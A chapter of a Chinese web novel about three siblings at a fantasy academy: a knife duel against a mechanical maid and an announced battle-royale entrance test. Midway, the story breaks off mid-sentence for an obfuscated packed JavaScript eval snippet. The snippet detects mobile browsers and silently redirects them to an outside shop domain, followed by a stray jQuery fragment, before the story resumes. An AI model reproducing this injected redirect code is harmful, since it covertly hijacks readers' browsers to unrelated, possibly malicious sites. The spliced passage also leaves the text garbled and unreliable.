宁宁走出考场,阿克苏紧绷的身体放松下来,朝她招手,“嗨!考得怎么样?”
宁宁垂头丧气,有点不敢看阿克苏的眼睛。
阿克苏心生不妙,“怎么回事,考试试题太难了?”
“不,”宁宁心情复杂地开口,“都是按道理我应该会的题目。”
阿克苏刚想继续追问,宁宁打断他问道,“怀安呢?”
......
武技场人声鼎沸,无数人在前排欢呼和叹息。宁宁刚想挤到前排,阿克苏抓住她的手冲她摇摇头。
“阿克苏。”他向门口的教官亮出黑卡,熙熙攘攘的人群涌动,教官低头向他行礼,“殿下,这边请。”
在经过人群时,宁宁隐约听到人群里的议论:
“就是他吗?那个被流放的小王子回王都了?”
她不由一怔,抬头看向阿克苏。
“继续走,”阿克苏仿佛没听到议论,“怀安的武技考核提前了,运气好的话,我们刚好可以看到他上场。”
紧接着,一只小手紧紧地牵住阿克苏的手。
“哥哥别怕。”宁宁轻声说,“史莱姆也有他的伙伴。”
不知怎地,阿克苏嘴角微微上扬。
“都说了不是史莱姆了。”
......
宁宁刚走到前排,就看到一个人被一只脚踹中胸口腾空倒地。
她一点点抬头,在那个人的正对面,一个轻盈的后空翻,一个机械女仆像展翅灵鹤般脚尖点地,她拉开旁边的椅子,轻轻端起桌上的咖啡杯吹了一口气。
咖啡还腾腾冒着热气。
“下一个。”
“喂喂,机械人,这怎么打啊。”宁宁小声揪了揪阿克苏的衣袖。
而且这雷人的审美是怎么回事?机械女仆?这么二次元吗?
“这是之前从叛教徒手里缴获的战利品吧,”阿克苏也皱眉,“怎么用在这里了?”
怀安慢慢上场,他环视四周,忽然看到底下宁宁朝他疯狂地招手,口型似乎是在喊加油。
嘴角不由自主地往上扬,怀安绽开笑容,用力地朝她挥手。
“抱歉啦,”他回头转向圆台上的机械女仆,“我姐姐来接我啦。”
一声枪响,少年如灵猫从高台上跳下,像离弦的箭窜了出去。
短刀出鞘,少年沿着圆台的边缘疾奔,宁宁只能捕捉到一道金属残影。一声凌厉的刀声后,刀锋破空,短刀以迅雷不及掩耳之势袭向机械女仆的咽喉。
女仆头一偏,短刀擦着耳际而过,而几乎同时她翻腕反扣,精准地锁住了怀安拿着短刀的手臂。而宁宁还来不及为他捏把汗,怀安腿部一沉,借着手臂上的力踢月转体,凌厉的腿风袭向头部。
女仆松手后撤,而下一瞬刀法快若闪电,怀安反握短刀毫不客气地朝着女仆的脖颈大动脉扎去。
刃口蹭出星星点点的火星,颈部的机械护甲保住了女仆的命。
这一切太快了,短刀的劣势在于刀身短小,刃口短质量轻,无法像长刀那样格挡大范围挥砍。按理对上女仆的修长机械臂和硬质护甲,短刀并不占优势。但怀安极快的身法却弥补了这一点,一旦突破对手外围防线近身缠斗,他便能在极短时间从各种匪夷所思的角度发动连续刺击。
“不要小看你的弟弟呀,”阿克苏冲宁宁轻轻地笑,“为了这场考试,他可是不眠不休准备了好长时间。”
宁宁愣住,“他难道还担心考不过吗?”
“当然不至于考不过,但是这场考核是分班考呀,”阿克苏轻声说道,“在明知你大概率进A班的情况下,他怎么可能不努力呢?”
多少个白天和夜晚,少年孤身面对着阿克苏攻击半径是短刀三倍的长刀。在怀安还未突进到短刀的有效距离时,长刀早已配合腰胯旋转进行大范围横扫。相比起短刀,长刀拥有极其恐怖的切割与破甲能力,全力一斩足以劈开防御护甲,怀安一旦进攻失手,便会瞬间陷入被动。
他一次次在突进前被打倒在地,泥土混着鲜血灌进口中。可纵使伤痕累累,阿克苏却从他的眼神看到了狮子。
“不甘心吗?”阿克苏的声音传来,“想变强吗?想守护好身边的人吗?那就别磨蹭了。站起来,你不是想和宁宁在同一个班学习吗?”
“再来一次,阿克苏。”怀安踉跄着站起来,用力抹掉脸上的血,“下次一定可以撑得更久。”
......
近处传来金属倒地的声音,宁宁愣愣地看向台上机械女仆关节折出怪异的弯度,最终整个跪伏在地。而在女仆倒下的一刹那,怀安从散落的火星里转过身来,露出了一个如释重负的笑。
“三分五十六秒,”教官不可置信地看向手中的秒表,“近几年最快的记录了。”
“当然得快,再慢点纯拼体能他可不是机械人的对手。”阿克苏轻轻地拍拍手,“不过成绩还算不错,如果不是在这种正面擂台1V1的场合,他还可以利用地形优势和隐匿潜行更快一点。”
“隐匿潜行?”
“你没注意到吗?他从你的风之翼里得到灵感,能利用风的气流隐匿气息潜行。不然你以为他是怎么晚上瞒着你出门的。”
“我以为只是我睡得比较死.....”
她望向怀安。
原来在不知不觉间,她的少年已经迅速成长到这样的地步了。
“宁姐姐!”下一瞬,台上狠厉的少年在看向她时眼神变得柔软,温热的气息朝她扑来,“实在抱歉,我的考核提前了,没有及时去接你。”
“这不是重点啦,”宁宁忙把他拉过来左看右看,“有没有受伤?”
“有一点,但是打完后教官给我用了白魔法,已经全部恢复了!”少年温顺地把头抵在宁宁的手上,像只等待夸奖的小狗。
“好啦,现在所有的考核都顺利结束,我们可以去庆祝一番啦!”阿克苏顺势接过怀安的两把短刀,好让他更舒服地依偎在宁宁身边,“想吃什么?带你们去吃王都料理?”
“怕是吃不成了吧。”旁边忽然有一个声音响起,“你没听说吗?今年除了各流派的考核以外,还有一场加试。”
宁宁转过头,一个金发女孩无声地靠在正对着武技场的角落,像是早已在那儿观望了很久的战局。
“加试的内容是什么?”
“在限定时内从高年级学员的手里活下来,并靠隐匿或者击杀学员来得分,”女孩眼里只有怀安,“全员大逃杀。”
在礼貌地向金发女孩道谢后,三个脑袋凑在一起看着眼前更新的考核通知,面面相觑。
“往年都是这样吗?”宁宁双目呆滞,“不仅要隐匿,还要防着高年级的突袭?不是我疯了就是他们疯了。”
话说养成游戏不是得入学后才有什么武技大赛舞蹈大赛来给主角送钱送声望吗?游戏策划到底有什么必要非要强加这样一场大逃杀?也不想想这真的能是针对刚入学考生的考核吗?
能通过的都是什么能人啊!不仅要能打,还得能苟。
“不,往年的考核只有魔兽,”阿克苏皱着眉头看向考核通知。
传统入学考核的风向变了,这样一来这场考核的重点就不再是面对魔兽时的战斗技巧。而是......人?
要在限定时间内存活,就不得不考虑和其他人的合作,以及防备来自背后同伴的背刺。
可是什么引发了这场考试的变动?也就是说,王都认为目前最大的敌人已
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17836990|211475||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
不再是魔兽,而是人的突袭吗?
“不,其实也不难,”怀安忽然开口,“只要在两个小时内隐匿潜行,活下来就可以了。”
“说来这确实是最适合怀安的考场啊,”阿克苏摸了摸下巴,“隐匿潜行,地点还是在森林。运气够好的话,找个树在上面挂着,舒舒服服躺两个小时就可以了。”
宁宁眼睛忽然亮起来。
“我也可以这样做吧?”
“你还是算了,在这种场景下,移动速度慢,吟唱速度也慢的新手小法师就是武技流眼中待宰的肥羊啊。”
第一个杀的就是你!
宁宁哀嚎:“不是,这两个流派新手体验差距这么大吗?”
“魔法流是后期发育啦,所以这场考试对你来说不在于击杀魔兽和高年级生来得分。最重要的就是苟住啊!”阿克苏大力拍打着宁宁的肩膀,“风之翼用起来!”
苟全性命于乱世,不求闻达于诸侯,是吧?
“没关系,”怀安目光灼灼地望着她,“虽然入场的位置是随机的,但无论宁宁在什么地方,我都会尽全力找到宁宁的。”
“没错,发挥你驱使鸟兽的言灵啊怀安,”阿克苏越想越觉得有希望,“只要苟到怀安找到你,你们俩在一起就都有希望了。”
法师最怕近身缠斗,而有怀安在身旁,还怕有人能越过这个疯子去打宁宁吗?
计划十分完美!他都想提前开香槟了。
“记住啊,”阿克苏仍然不太放心回过头看向宁宁,“苟住啊,无论发生什么事千万不能像以前那样乱来,一定要坚持到怀安来找你。”
阿克苏的嘴巴张张合合,宁宁心想,听上去自己就像坐在城堡里只能等待王子来救援的公主啊。
可凭什么怀安就能拿着两把短刀在森林大杀特杀,而她就只能像苦情剧里的灰姑娘躲在暗处等待仙女教母的救援呢?
“阿克苏,我也会找到怀安的。”
“但是在那之前,”宁宁忽地抬起眼,直视阿克苏的眼睛,“我也有想要亲自去完成的打算。”
......
高年级学员休息室后台。
沙发上靠坐着一个身影仰着脸休憩,一本黑皮封面的书倒扣在脸上,遮住了所有表情。
随即一只黑猫迈着轻盈的步伐悄无声息跃上肩膀,温热的气息扑在人脸上。
下一秒,一个猫爪毫不犹豫地挥过去。
“主席,快起来啦。快要开始了。”
挨了一巴掌的男人一声闷哼,书本从他的脸上滑落下来。
“埃林斯真是的,”旁边的红发女人招招手,黑猫重新跳到女人的膝盖上化为了光线中的阴影,“该夸你是松弛吗?每天都一副睡不够的样子,真不知道你这副样子怎么能当上主席的。”
“这叫泰山崩于前而色不变呀,”坐在埃林斯左侧的的男人豪爽地笑,“别嫉妒埃林斯了,今年暴打小朋友这一环节不是洛洛你主动提议的吗?”
“不要把我说得那么坏,”女人优雅地翘起了脚,“倒是你克洛洛,少看点从叛教那边收缴的话本,天天说些什么奇怪的话。这明明是来自前辈的爱的教育嘛。”
“是是是,都是爱的战士。”
“几点了?”沙发上的男人揉了揉自己的太阳穴,黑色的碎发盖住了他的眼睛。
“别睡了,两分钟后就开始了。”坐在角落旁边的金发女孩开口,“先说好,如果找到那孩子,第一时间通讯告诉我。”
“没想到这么早就有猎物被小金盯上啦,”洛洛暧昧地朝她眨眨眼,“和我们说说呀,还有什么特征?”
“武技流,栗发,擅用短刀,”金薇拉思忖了一下。
“名字叫怀安。”